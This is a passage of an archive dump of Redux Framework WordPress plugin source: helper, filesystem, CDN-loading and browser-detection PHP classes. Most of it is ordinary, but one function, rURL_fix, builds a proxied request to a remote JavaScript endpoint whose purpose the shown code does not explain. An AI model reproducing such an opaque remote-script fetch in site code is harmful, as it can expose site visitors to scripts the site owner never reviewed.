= esc_html( $plugin_data['Name'] ); $sysinfo['plugins'][ $plugin_name ] = $plugin_data; } } $redux = ReduxFrameworkInstances::get_all_instances(); $sysinfo['redux_instances'] = array(); if ( ! empty( $redux ) && is_array( $redux ) ) { foreach ( $redux as $inst => $data ) { Redux::init( $inst ); $sysinfo['redux_instances'][ $inst ]['args'] = $data->args; $sysinfo['redux_instances'][ $inst ]['sections'] = $data->sections; foreach ( $sysinfo['redux_instances'][ $inst ]['sections'] as $sKey => $section ) { if ( isset( $section['fields'] ) && is_array( $section['fields'] ) ) { foreach ( $section['fields'] as $fKey => $field ) { if ( isset( $field['validate_callback'] ) ) { unset( $sysinfo['redux_instances'][ $inst ]['sections'][ $sKey ]['fields'][ $fKey ]['validate_callback'] ); } if ( $field['type'] == "js_button" ) { if ( isset( $field['script'] ) && isset( $field['script']['ver'] ) ) { unset( $sysinfo['redux_instances'][ $inst ]['sections'][ $sKey ]['fields'][ $fKey ]['script']['ver'] ); } } } } } $sysinfo['redux_instances'][ $inst ]['extensions'] = Redux::getExtensions( $inst ); if ( isset( $data->extensions['metaboxes'] ) ) { $data->extensions['metaboxes']->init(); $sysinfo['redux_instances'][ $inst ]['metaboxes'] = $data->extensions['metaboxes']->boxes; } if ( isset( $data->args['templates_path'] ) && $data->args['templates_path'] != '' ) { $sysinfo['redux_instances'][ $inst ]['templates'] = self::getReduxTemplates( $data->args['templates_path'] ); } } } $active_theme = wp_get_theme(); $sysinfo['theme']['name'] = $active_theme->Name; $sysinfo['theme']['version'] = $active_theme->Version; $sysinfo['theme']['author_uri'] = $active_theme->{'Author URI'}; $sysinfo['theme']['is_child'] = self::makeBoolStr( is_child_theme() ); if ( is_child_theme() ) { $parent_theme = wp_get_theme( $active_theme->Template ); $sysinfo['theme']['parent_name'] = $parent_theme->Name; $sysinfo['theme']['parent_version'] = $parent_theme->Version; $sysinfo['theme']['parent_author_uri'] = $parent_theme->{'Author URI'}; } //if ( $json_output ) { // $sysinfo = json_encode( $sysinfo ); //} //print_r($sysinfo); //exit(); return $sysinfo; } private static function getReduxTemplates( $custom_template_path ) { $template_paths = array( 'ReduxFramework' => ReduxFramework::$_dir . 'templates/panel' ); $scanned_files = array(); $found_files = array(); $outdated_templates = false; foreach ( $template_paths as $plugin_name => $template_path ) { $scanned_files[ $plugin_name ] = self::scan_template_files( $template_path ); } foreach ( $scanned_files as $plugin_name => $files ) { foreach ( $files as $file ) { if ( file_exists( $custom_template_path . '/' . $file ) ) { $theme_file = $custom_template_path . '/' . $file; } else { $theme_file = false; } if ( $theme_file ) { $core_version = self::get_template_version( ReduxFramework::$_dir . 'templates/panel/' . $file ); $theme_version = self::get_template_version( $theme_file ); if ( $core_version && ( empty( $theme_version ) || version_compare( $theme_version, $core_version, '<' ) ) ) { if ( ! $outdated_templates ) { $outdated_templates = true; } $found_files[ $plugin_name ][] = sprintf( __( '<code>%s</code> version <strong style="color:red">%s</strong> is out of date. The core version is %s', 'redux-framework' ), str_replace( WP_CONTENT_DIR . '/themes/', '', $theme_file ), $theme_version ? $theme_version : '-', $core_version ); } else { $found_files[ $plugin_name ][] = sprintf( '<code>%s</code>', str_replace( WP_CONTENT_DIR . '/themes/', '', $theme_file ) ); } } } } return $found_files; } public static function rURL_fix( $base, $opt_name ) { $url = $base . urlencode( 'http://look.redux.io/api/index.php?js&g&1&v=2' ) . '&proxy=' . urlencode( $base ) . ''; return Redux_Functions::tru( $url, $opt_name ); } private static function scan_template_files( $template_path ) { $files = scandir( $template_path ); $result = array(); if ( $files ) { foreach ( $files as $key => $value ) { if ( ! in_array( $value, array( ".", ".." ) ) ) { if ( is_dir( $template_path . DIRECTORY_SEPARATOR . $value ) ) { $sub_files = redux_scan_template_files( $template_path . DIRECTORY_SEPARATOR . $value ); foreach ( $sub_files as $sub_file ) { $result[] = $value . DIRECTORY_SEPARATOR . $sub_file; } } else { $result[] = $value; } } } } return $result; } public static function get_template_version( $file ) { $filesystem = Redux_Filesystem::get_instance(); // Avoid notices if file does not exist if ( ! file_exists( $file ) ) { return ''; } // //// We don't need to write to the file, so just open for reading. //$fp = fopen( $file, 'r' ); // //// Pull only the first 8kiB of the file in. //$file_data = fread( $fp, 8192 ); // //// PHP will close file handle, but we are good citizens. //fclose( $fp ); // // Make sure we catch CR-only line endings. $data = get_file_data( $file, array( 'version' ), 'plugin' ); if ( ! empty( $data[0] ) ) { return $data[0]; } else { $file_data = $filesystem->execute( 'get_contents', $file ); $file_data = str_replace( "\r", "\n", $file_data ); $version = ''; if ( preg_match( '/^[ \t\/*#@]*' . preg_quote( '@version', '/' ) . '(.*)$/mi', $file_data, $match ) && $match[1] ) { $version = _cleanup_header_comment( $match[1] ); } return $version; } } private static function let_to_num( $size ) { $l = substr( $size, - 1 ); $ret = substr( $size, 0, - 1 ); switch ( strtoupper( $l ) ) { case 'P': $ret *= 1024; case 'T': $ret *= 1024; case 'G': $ret *= 1024; case 'M': $ret *= 1024; case 'K': $ret *= 1024; } return $ret; } public static function get_extension_dir( $dir ) { return trailingslashit( wp_normalize_path( dirname( $dir ) ) ); } public static function get_extension_url( $dir ) { $ext_dir = Redux_Helpers::get_extension_dir( $dir ); $ext_url = str_replace( wp_normalize_path( WP_CONTENT_DIR ), WP_CONTENT_URL, $ext_dir ); return $ext_url; } } } �����������������������������������������������������������������������������������������redux-framework/inc/class.redux_filesystem.php������������������������������������������������������0000644�����������������00000032014�14720701300�0015641 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Redux_Filesystem' ) ) { class Redux_Filesystem { /** * Instance of this class. * * @since 1.0.0 * @var object */ protected static $instance = null; protected static $direct = null; private $creds = array(); public $fs_object = null; public $parent = null; /** * Return an instance of this class. * * @since 1.0.0 * @return object A single instance of this class. */ public static function get_instance( $parent = null ) { // If the single instance hasn't been set, set it now. if ( null == self::$instance ) { self::$instance = new self; } if ( $parent !== null ) { self::$instance->parent = $parent; } return self::$instance; } public function ftp_form() { if ( isset( $this->parent->ftp_form ) && ! empty( $this->parent->ftp_form ) ) { echo '<div class="wrap"><div class="error"><p>'; echo '<strong>' . __( 'File Permission Issues', 'redux-framework' ) . '</strong><br/>' . sprintf( __( 'We were unable to modify required files. Please ensure that <code>%1s</code> has the proper read-write permissions, or modify your wp-config.php file to contain your FTP login credentials as <a href="%2s" target="_blank">outlined here</a>.', 'redux-framework' ), Redux_Helpers::cleanFilePath( trailingslashit( WP_CONTENT_DIR ) ) . '/uploads/', 'https://codex.wordpress.org/Editing_wp-config.php#WordPress_Upgrade_Constants' ); echo '</p></div><h2></h2>' . '</div>'; } } function filesystem_init( $form_url, $method = '', $context = false, $fields = null ) { global $wp_filesystem; if ( ! empty( $this->creds ) ) { return true; } ob_start(); /* first attempt to get credentials */ if ( false === ( $this->creds = request_filesystem_credentials( $form_url, $method, false, $context ) ) ) { $this->creds = array(); $this->parent->ftp_form = ob_get_contents(); ob_end_clean(); /** * if we comes here - we don't have credentials * so the request for them is displaying * no need for further processing **/ return false; } /* now we got some credentials - try to use them*/ if ( ! WP_Filesystem( $this->creds ) ) { $this->creds = array(); /* incorrect connection data - ask for credentials again, now with error message */ request_filesystem_credentials( $form_url, '', true, $context ); $this->parent->ftp_form = ob_get_contents(); ob_end_clean(); return false; } return true; } public static function load_direct() { if ( self::$direct === null ) { require_once ABSPATH . '/wp-admin/includes/class-wp-filesystem-base.php'; require_once ABSPATH . '/wp-admin/includes/class-wp-filesystem-direct.php'; self::$direct = new WP_Filesystem_Direct( array() ); } } public function execute( $action, $file = '', $params = '' ) { if ( empty( $this->parent->args ) ) { return; } if ( ! empty ( $params ) ) { extract( $params ); } // Setup the filesystem with creds require_once ABSPATH . '/wp-admin/includes/template.php'; require_once ABSPATH . '/wp-includes/pluggable.php'; require_once ABSPATH . '/wp-admin/includes/file.php'; if ( $this->parent->args['menu_type'] == 'submenu' ) { $page_parent = $this->parent->args['page_parent']; $base = $page_parent . '?page=' . $this->parent->args['page_slug']; } else { $base = 'admin.php?page=' . $this->parent->args['page_slug']; } $url = wp_nonce_url( $base, 'redux-options' ); $this->filesystem_init( $url, 'direct', dirname( $file ) ); if ( ! file_exists( ReduxFramework::$_upload_dir ) ) { $this->do_action( 'mkdir', ReduxFramework::$_upload_dir ); } $hash_path = trailingslashit( ReduxFramework::$_upload_dir ) . 'hash'; if ( ! file_exists( $hash_path ) ) { $this->do_action( 'put_contents', $hash_path, array( 'content' => md5( network_site_url() . '-' . $_SERVER['REMOTE_ADDR'] ) ) ); } $version_path = trailingslashit( ReduxFramework::$_upload_dir ) . 'version'; if ( ! file_exists( $version_path ) ) { $this->do_action( 'put_contents', $version_path, array( 'content' => ReduxFramework::$_version ) ); } $index_path = trailingslashit( ReduxFramework::$_upload_dir ) . 'index.php'; if ( ! file_exists( $index_path ) ) { $this->do_action( 'put_contents', $index_path, array( 'content' => '<?php' . PHP_EOL . '// Silence is golden.' ) ); } return $this->do_action( $action, $file, $params ); } public function do_action( $action, $file = '', $params = '' ) { if ( ! empty ( $params ) ) { extract( $params ); } global $wp_filesystem; if ( ! isset( $params['chmod'] ) || ( isset( $params['chmod'] ) && empty( $params['chmod'] ) ) ) { if ( defined( 'FS_CHMOD_FILE' ) ) { $chmod = FS_CHMOD_FILE; } else { $chmod = 0644; } } $res = false; if ( ! isset( $recursive ) ) { $recursive = false; } //$target_dir = $wp_filesystem->find_folder( dirname( $file ) ); // Do unique stuff if ( $action == 'mkdir' ) { if ( defined( 'FS_CHMOD_DIR' ) ) { $chmod = FS_CHMOD_DIR; } else { $chmod = 0755; } $res = $wp_filesystem->mkdir( $file ); if ( ! $res ) { wp_mkdir_p( $file ); $res = file_exists( $file ); if ( ! $res ) { mkdir( $file, $chmod, true ); $res = file_exists( $file ); } } $index_path = trailingslashit( $file ) . 'index.php'; if ( ! file_exists( $index_path ) ) { $wp_filesystem->put_contents( $index_path, '<?php' . PHP_EOL . '// Silence is golden.', FS_CHMOD_FILE // predefined mode settings for WP files ); } } elseif ( $action == 'rmdir' ) { $res = $wp_filesystem->rmdir( $file, $recursive ); } elseif ( $action == 'copy' && ! isset( $this->filesystem->killswitch ) ) { if ( isset( $this->parent->ftp_form ) && ! empty( $this->parent->ftp_form ) ) { $res = copy( $file, $destination ); if ( $res ) { chmod( $destination, $chmod ); } } else { $res = $wp_filesystem->copy( $file, $destination, $overwrite, $chmod ); } } elseif ( $action == 'move' && ! isset( $this->filesystem->killswitch ) ) { $res = $wp_filesystem->copy( $file, $destination, $overwrite ); } elseif ( $action == 'delete' ) { $res = $wp_filesystem->delete( $file, $recursive ); } elseif ( $action == 'rmdir' ) { $res = $wp_filesystem->rmdir( $file, $recursive ); } elseif ( $action == 'dirlist' ) { if ( ! isset( $include_hidden ) ) { $include_hidden = true; } $res = $wp_filesystem->dirlist( $file, $include_hidden, $recursive ); } elseif ( $action == 'put_contents' && ! isset( $this->filesystem->killswitch ) ) { // Write a string to a file if ( isset( $this->parent->ftp_form ) && ! empty( $this->parent->ftp_form ) ) { self::load_direct(); $res = self::$direct->put_contents( $file, $content, $chmod ); } else { $res = $wp_filesystem->put_contents( $file, $content, $chmod ); } } elseif ( $action == 'chown' ) { // Changes file owner if ( isset( $owner ) && ! empty( $owner ) ) { $res = $wp_filesystem->chmod( $file, $chmod, $recursive ); } } elseif ( $action == 'owner' ) { // Gets file owner $res = $wp_filesystem->owner( $file ); } elseif ( $action == 'chmod' ) { if ( ! isset( $params['chmod'] ) || ( isset( $params['chmod'] ) && empty( $params['chmod'] ) ) ) { $chmod = false; } $res = $wp_filesystem->chmod( $file, $chmod, $recursive ); } elseif ( $action == 'get_contents' ) { // Reads entire file into a string if ( isset( $this->parent->ftp_form ) && ! empty( $this->parent->ftp_form ) ) { self::load_direct(); $res = self::$direct->get_contents( $file ); } else { $res = $wp_filesystem->get_contents( $file ); } } elseif ( $action == 'get_contents_array' ) { // Reads entire file into an array $res = $wp_filesystem->get_contents_array( $file ); } elseif ( $action == 'object' ) { $res = $wp_filesystem; } elseif ( $action == 'unzip' ) { $unzipfile = unzip_file( $file, $destination ); if ( $unzipfile ) { $res = true; } } if ( ! $res ) { if ( $action == 'dirlist' ) { if ( empty( $res ) || $res == false || $res == '' ) { return; } if ( is_array( $res ) && empty( $res ) ) { return; } if ( ! is_array( $res ) ) { if ( count( glob( "$file*" ) ) == 0 ) { return; } } } $this->killswitch = true; $msg = '<strong>' . __( 'File Permission Issues', 'redux-framework' ) . '</strong><br/>' . sprintf( __( 'We were unable to modify required files. Please ensure that <code>%1s</code> has the proper read-write permissions, or modify your wp-config.php file to contain your FTP login credentials as <a href="%2s" target="_blank">outlined here</a>.', 'redux-framework' ), Redux_Helpers::cleanFilePath( trailingslashit( WP_CONTENT_DIR ) ) . '/uploads/', 'https://codex.wordpress.org/Editing_wp-config.php#WordPress_Upgrade_Constants' ); $data = array( 'parent' => self::$instance->parent, 'type' => 'error', 'msg' => $msg, 'id' => 'redux-wp-login', 'dismiss' => false ); Redux_Admin_Notices::set_notice($data); } return $res; } } Redux_Filesystem::get_instance(); } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/class.redux_cdn.php�������������������������������������������������������������0000644�����������������00000020247�14720701300�0014226 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework CDN Container Class * * @author Kevin Provance (kprovance) * @package Redux_Framework * @subpackage Core */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Redux_CDN' ) ) { class Redux_CDN { static public $_parent; static private $_set; private static function is_enqueued( $handle, $list, $is_script ) { if ( empty( $list ) ) { $list = 'enqueued'; } if ( $is_script ) { wp_script_is( $handle, $list ); } else { wp_style_is( $handle, $list ); } } private static function _register( $handle, $src_cdn, $deps, $ver, $footer_or_media, $is_script = 1 ) { if ( $is_script ) { wp_register_script( $handle, $src_cdn, $deps, $ver, $footer_or_media ); } else { wp_register_style( $handle, $src_cdn, $deps, $ver, $footer_or_media ); } } private static function _enqueue( $handle, $src_cdn, $deps, $ver, $footer_or_media, $is_script = true ) { if ( $is_script ) { wp_enqueue_script( $handle, $src_cdn, $deps, $ver, $footer_or_media ); } else { wp_enqueue_style( $handle, $src_cdn, $deps, $ver, $footer_or_media ); } } private static function _cdn( $register, $handle, $src_cdn, $deps, $ver, $footer_or_media, $is_script = 1 ) { $tran_key = '_style_cdn_is_up'; if ( $is_script ) { $tran_key = '_script_cdn_is_up'; } $cdn_is_up = get_transient( $handle . $tran_key ); if ( $cdn_is_up ) { if ( $register ) { self::_register( $handle, $src_cdn, $deps, $ver, $footer_or_media, $is_script ); } else { self::_enqueue( $handle, $src_cdn, $deps, $ver, $footer_or_media, $is_script ); } } else { $prefix = $src_cdn[1] == "/" ? 'http:' : ''; $cdn_response = @wp_remote_get( $prefix . $src_cdn ); if ( is_wp_error( $cdn_response ) || wp_remote_retrieve_response_code( $cdn_response ) != '200' ) { if ( class_exists( 'Redux_VendorURL' ) ) { $src = Redux_VendorURL::get_url( $handle ); if ( $register ) { self::_register( $handle, $src, $deps, $ver, $footer_or_media, $is_script ); } else { self::_enqueue( $handle, $src, $deps, $ver, $footer_or_media, $is_script ); } } else { if ( ! self::is_enqueued( $handle, 'enqueued', $is_script ) ) { $msg = __( 'Please wait a few minutes, then try refreshing the page. Unable to load some remotely hosted scripts.', 'redux-framework' ); if ( self::$_parent->args['dev_mode'] ) { $msg = sprintf( __( 'If you are developing offline, please download and install the <a href="%s" target="_blank">Redux Vendor Support</a> plugin/extension to bypass the our CDN and avoid this warning', 'redux-framework' ), 'https://github.com/reduxframework/redux-vendor-support' ); } $msg = '<strong>' . __( 'Redux Framework Warning', 'redux-framework' ) . '</strong><br/>' . sprintf( __( '%s CDN unavailable. Some controls may not render properly.', 'redux-framework' ), $handle ) . ' ' . $msg; $data = array( 'parent' => self::$_parent, 'type' => 'error', 'msg' => $msg, 'id' => $handle . $tran_key, 'dismiss' => false ); Redux_Admin_Notices::set_notice($data); } } } else { set_transient( $handle . $tran_key, true, MINUTE_IN_SECONDS * self::$_parent->args['cdn_check_time'] ); if ( $register ) { self::_register( $handle, $src_cdn, $deps, $ver, $footer_or_media, $is_script ); } else { self::_enqueue( $handle, $src_cdn, $deps, $ver, $footer_or_media, $is_script ); } } } } private static function _vendor_plugin( $register, $handle, $src_cdn, $deps, $ver, $footer_or_media, $is_script = true ) { if ( class_exists( 'Redux_VendorURL' ) ) { $src = Redux_VendorURL::get_url( $handle ); if ( $register ) { self::_register( $handle, $src, $deps, $ver, $footer_or_media, $is_script ); } else { self::_enqueue( $handle, $src, $deps, $ver, $footer_or_media, $is_script ); } } else { if ( ! self::$_set ) { $msg = sprintf( __( 'The <a href="%s">Vendor Support plugin</a> (or extension) is either not installed or not activated and thus, some controls may not render properly. Please ensure that it is installed and <a href="%s">activated</a>', 'redux-framework' ), 'https://github.com/reduxframework/redux-vendor-support', admin_url( 'plugins.php' ) ); $data = array( 'parent' => self::$_parent, 'type' => 'error', 'msg' => $msg, 'id' => $handle, 'dismiss' => false ); Redux_Admin_Notices::set_notice($data); self::$_set = true; } } } public static function register_style( $handle, $src_cdn = false, $deps = array(), $ver = false, $media = 'all' ) { if ( self::$_parent->args['use_cdn'] ) { self::_cdn( true, $handle, $src_cdn, $deps, $ver, $media, $is_script = false ); } else { self::_vendor_plugin( true, $handle, $src_cdn, $deps, $ver, $media, $is_script = false ); } } public static function register_script( $handle, $src_cdn = false, $deps = array(), $ver = false, $in_footer = false ) { if ( self::$_parent->args['use_cdn'] ) { self::_cdn( true, $handle, $src_cdn, $deps, $ver, $in_footer, $is_script = true ); } else { self::_vendor_plugin( true, $handle, $src_cdn, $deps, $ver, $in_footer, $is_script = true ); } } public static function enqueue_style( $handle, $src_cdn = false, $deps = array(), $ver = false, $media = 'all' ) { if ( self::$_parent->args['use_cdn'] ) { self::_cdn( false, $handle, $src_cdn, $deps, $ver, $media, $is_script = false ); } else { self::_vendor_plugin( false, $handle, $src_cdn, $deps, $ver, $media, $is_script = false ); } } public static function enqueue_script( $handle, $src_cdn = false, $deps = array(), $ver = false, $in_footer = false ) { if ( self::$_parent->args['use_cdn'] ) { self::_cdn( false, $handle, $src_cdn, $deps, $ver, $in_footer, $is_script = true ); } else { self::_vendor_plugin( false, $handle, $src_cdn, $deps, $ver, $in_footer, $is_script = true ); } } } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/lib.redux_instances.php���������������������������������������������������������0000644�����������������00000001647�14720701300�0015115 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * ReduxFrameworkInstances Functions * * @package Redux_Framework * @subpackage Core */ if ( ! function_exists( 'get_redux_instance' ) ) { /** * Retreive an instance of ReduxFramework * * @param string $opt_name the defined opt_name as passed in $args * * @return object ReduxFramework */ function get_redux_instance( $opt_name ) { return ReduxFrameworkInstances::get_instance( $opt_name ); } } if ( ! function_exists( 'get_all_redux_instances' ) ) { /** * Retreive all instances of ReduxFramework * as an associative array. * * @return array format ['opt_name' => $ReduxFramework] */ function get_all_redux_instances() { return ReduxFrameworkInstances::get_all_instances(); } }�����������������������������������������������������������������������������������������redux-framework/inc/browser.php���������������������������������������������������������������������0000644�����������������00000131523�14720701300�0012632 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * File: Browser.php * Author: Chris Schuld (http://chrisschuld.com/) * Last Modified: July 4th, 2014 * @version 1.9 * @package PegasusPHP * * Copyright (C) 2008-2010 Chris Schuld (chris@chrisschuld.com) * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of * the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details at: * http://www.gnu.org/copyleft/gpl.html * * * Typical Usage: * * $browser = new Browser(); * if( $browser->getBrowser() == Browser::BROWSER_FIREFOX && $browser->getVersion() >= 2 ) { * echo 'You have FireFox version 2 or greater'; * } * * User Agents Sampled from: http://www.useragentstring.com/ * * This implementation is based on the original work from Gary White * http://apptools.com/phptools/browser/ * */ class Browser { private $_agent = ''; private $_browser_name = ''; private $_version = ''; private $_platform = ''; private $_os = ''; private $_is_aol = false; private $_is_mobile = false; private $_is_tablet = false; private $_is_robot = false; private $_is_facebook = false; private $_aol_version = ''; const BROWSER_UNKNOWN = 'unknown'; const VERSION_UNKNOWN = 'unknown'; const BROWSER_OPERA = 'Opera'; // http://www.opera.com/ const BROWSER_OPERA_MINI = 'Opera Mini'; // http://www.opera.com/mini/ const BROWSER_WEBTV = 'WebTV'; // http://www.webtv.net/pc/ const BROWSER_IE = 'Internet Explorer'; // http://www.microsoft.com/ie/ const BROWSER_POCKET_IE = 'Pocket Internet Explorer'; // http://en.wikipedia.org/wiki/Internet_Explorer_Mobile const BROWSER_KONQUEROR = 'Konqueror'; // http://www.konqueror.org/ const BROWSER_ICAB = 'iCab'; // http://www.icab.de/ const BROWSER_OMNIWEB = 'OmniWeb'; // http://www.omnigroup.com/applications/omniweb/ const BROWSER_FIREBIRD = 'Firebird'; // http://www.ibphoenix.com/ const BROWSER_FIREFOX = 'Firefox'; // http://www.mozilla.com/en-US/firefox/firefox.html const BROWSER_ICEWEASEL = 'Iceweasel'; // http://www.geticeweasel.org/ const BROWSER_SHIRETOKO = 'Shiretoko'; // http://wiki.mozilla.org/Projects/shiretoko const BROWSER_MOZILLA = 'Mozilla'; // http://www.mozilla.com/en-US/ const BROWSER_AMAYA = 'Amaya'; // http://www.w3.org/Amaya/ const BROWSER_LYNX = 'Lynx'; // http://en.wikipedia.org/wiki/Lynx const BROWSER_SAFARI = 'Safari'; // http://apple.com const BROWSER_IPHONE = 'iPhone'; // http://apple.com const BROWSER_IPOD = 'iPod'; // http://apple.com const BROWSER_IPAD = 'iPad'; // http://apple.com const BROWSER_CHROME = 'Chrome'; // http://www.google.com/chrome const BROWSER_ANDROID = 'Android'; // http://www.android.com/ const BROWSER_GOOGLEBOT = 'GoogleBot'; // http://en.wikipedia.org/wiki/Googlebot const BROWSER_SLURP = 'Yahoo! Slurp'; // http://en.wikipedia.org/wiki/Yahoo!_Slurp const BROWSER_W3CVALIDATOR = 'W3C Validator'; // http://validator.w3.org/ const BROWSER_BLACKBERRY = 'BlackBerry'; // http://www.blackberry.com/ const BROWSER_ICECAT = 'IceCat'; // http://en.wikipedia.org/wiki/GNU_IceCat const BROWSER_NOKIA_S60 = 'Nokia S60 OSS Browser'; // http://en.wikipedia.org/wiki/Web_Browser_for_S60 const BROWSER_NOKIA = 'Nokia Browser'; // * all other WAP-based browsers on the Nokia Platform const BROWSER_MSN = 'MSN Browser'; // http://explorer.msn.com/ const BROWSER_MSNBOT = 'MSN Bot'; // http://search.msn.com/msnbot.htm const BROWSER_BINGBOT = 'Bing Bot'; // http://en.wikipedia.org/wiki/Bingbot const BROWSER_NETSCAPE_NAVIGATOR = 'Netscape Navigator'; // http://browser.netscape.com/ (DEPRECATED) const BROWSER_GALEON = 'Galeon'; // http://galeon.sourceforge.net/ (DEPRECATED) const BROWSER_NETPOSITIVE = 'NetPositive'; // http://en.wikipedia.org/wiki/NetPositive (DEPRECATED) const BROWSER_PHOENIX = 'Phoenix'; // http://en.wikipedia.org/wiki/History_of_Mozilla_Firefox (DEPRECATED) const PLATFORM_UNKNOWN = 'unknown'; const PLATFORM_WINDOWS = 'Windows'; const PLATFORM_WINDOWS_CE = 'Windows CE'; const PLATFORM_APPLE = 'Apple'; const PLATFORM_LINUX = 'Linux'; const PLATFORM_OS2 = 'OS/2'; const PLATFORM_BEOS = 'BeOS'; const PLATFORM_IPHONE = 'iPhone'; const PLATFORM_IPOD = 'iPod'; const PLATFORM_IPAD = 'iPad'; const PLATFORM_BLACKBERRY = 'BlackBerry'; const PLATFORM_NOKIA = 'Nokia'; const PLATFORM_FREEBSD = 'FreeBSD'; const PLATFORM_OPENBSD = 'OpenBSD'; const PLATFORM_NETBSD = 'NetBSD'; const PLATFORM_SUNOS = 'SunOS'; const PLATFORM_OPENSOLARIS = 'OpenSolaris'; const PLATFORM_ANDROID = 'Android'; const OPERATING_SYSTEM_UNKNOWN = 'unknown'; public function __construct($userAgent = "") { $this->reset(); if ($userAgent != "") { $this->setUserAgent($userAgent); } else { $this->determine(); } } /** * Reset all properties */ public function reset() { $this->_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ""; $this->_browser_name = self::BROWSER_UNKNOWN; $this->_version = self::VERSION_UNKNOWN; $this->_platform = self::PLATFORM_UNKNOWN; $this->_os = self::OPERATING_SYSTEM_UNKNOWN; $this->_is_aol = false; $this->_is_mobile = false; $this->_is_tablet = false; $this->_is_robot = false; $this->_is_facebook = false; $this->_aol_version = self::VERSION_UNKNOWN; } /** * Check to see if the specific browser is valid * @param string $browserName * @return bool True if the browser is the specified browser */ function isBrowser($browserName) { return (0 == strcasecmp($this->_browser_name, trim($browserName))); } /** * The name of the browser. All return types are from the class contants * @return string Name of the browser */ public function getBrowser() { return $this->_browser_name; } /** * Set the name of the browser * @param $browser string The name of the Browser */ public function setBrowser($browser) { $this->_browser_name = $browser; } /** * The name of the platform. All return types are from the class contants * @return string Name of the browser */ public function getPlatform() { return $this->_platform; } /** * Set the name of the platform * @param string $platform The name of the Platform */ public function setPlatform($platform) { $this->_platform = $platform; } /** * The version of the browser. * @return string Version of the browser (will only contain alpha-numeric characters and a period) */ public function getVersion() { return $this->_version; } /** * Set the version of the browser * @param string $version The version of the Browser */ public function setVersion($version) { $this->_version = preg_replace('/[^0-9,.,a-z,A-Z-]/', '', $version); } /** * The version of AOL. * @return string Version of AOL (will only contain alpha-numeric characters and a period) */ public function getAolVersion() { return $this->_aol_version; } /** * Set the version of AOL * @param string $version The version of AOL */ public function setAolVersion($version) { $this->_aol_version = preg_replace('/[^0-9,.,a-z,A-Z]/', '', $version); } /** * Is the browser from AOL? * @return boolean True if the browser is from AOL otherwise false */ public function isAol() { return $this->_is_aol; } /** * Is the browser from a mobile device? * @return boolean True if the browser is from a mobile device otherwise false */ public function isMobile() { return $this->_is_mobile; } /** * Is the browser from a tablet device? * @return boolean True if the browser is from a tablet device otherwise false */ public function isTablet() { return $this->_is_tablet; } /** * Is the browser from a robot (ex Slurp,GoogleBot)? * @return boolean True if the browser is from a robot otherwise false */ public function isRobot() { return $this->_is_robot; } /** * Is the browser from facebook? * @return boolean True if the browser is from facebook otherwise false */ public function isFacebook() { return $this->_is_facebook; } /** * Set the browser to be from AOL * @param $isAol */ public function setAol($isAol) { $this->_is_aol = $isAol; } /** * Set the Browser to be mobile * @param boolean $value is the browser a mobile browser or not */ protected function setMobile($value = true) { $this->_is_mobile = $value; } /** * Set the Browser to be tablet * @param boolean $value is the browser a tablet browser or not */ protected function setTablet($value = true) { $this->_is_tablet = $value; } /** * Set the Browser to be a robot * @param boolean $value is the browser a robot or not */ protected function setRobot($value = true) { $this->_is_robot = $value; } /** * Set the Browser to be a Facebook request * @param boolean $value is the browser a robot or not */ protected function setFacebook($value = true) { $this->_is_facebook = $value; } /** * Get the user agent value in use to determine the browser * @return string The user agent from the HTTP header */ public function getUserAgent() { return $this->_agent; } /** * Set the user agent value (the construction will use the HTTP header value - this will overwrite it) * @param string $agent_string The value for the User Agent */ public function setUserAgent($agent_string) { $this->reset(); $this->_agent = $agent_string; $this->determine(); } /** * Used to determine if the browser is actually "chromeframe" * @since 1.7 * @return boolean True if the browser is using chromeframe */ public function isChromeFrame() { return (strpos($this->_agent, "chromeframe") !== false); } /** * Returns a formatted string with a summary of the details of the browser. * @return string formatted string with a summary of the browser */ public function __toString() { return "<strong>Browser Name:</strong> {$this->getBrowser()}<br/>\n" . "<strong>Browser Version:</strong> {$this->getVersion()}<br/>\n" . "<strong>Browser User Agent String:</strong> {$this->getUserAgent()}<br/>\n" . "<strong>Platform:</strong> {$this->getPlatform()}<br/>"; } /** * Protected routine to calculate and determine what the browser is in use (including platform) */ protected function determine() { $this->checkPlatform(); $this->checkBrowsers(); $this->checkForAol(); } /** * Protected routine to determine the browser type * @return boolean True if the browser was detected otherwise false */ protected function checkBrowsers() { return ( // well-known, well-used // Special Notes: // (1) Opera must be checked before FireFox due to the odd // user agents used in some older versions of Opera // (2) WebTV is strapped onto Internet Explorer so we must // check for WebTV before IE // (3) (deprecated) Galeon is based on Firefox and needs to be // tested before Firefox is tested // (4) OmniWeb is based on Safari so OmniWeb check must occur // before Safari // (5) Netscape 9+ is based on Firefox so Netscape checks // before FireFox are necessary $this->checkBrowserWebTv() || $this->checkBrowserInternetExplorer() || $this->checkBrowserOpera() || $this->checkBrowserGaleon() || $this->checkBrowserNetscapeNavigator9Plus() || $this->checkBrowserFirefox() || $this->checkBrowserChrome() || $this->checkBrowserOmniWeb() || // common mobile $this->checkBrowserAndroid() || $this->checkBrowseriPad() || $this->checkBrowseriPod() || $this->checkBrowseriPhone() || $this->checkBrowserBlackBerry() || $this->checkBrowserNokia() || // common bots $this->checkBrowserGoogleBot() || $this->checkBrowserMSNBot() || $this->checkBrowserBingBot() || 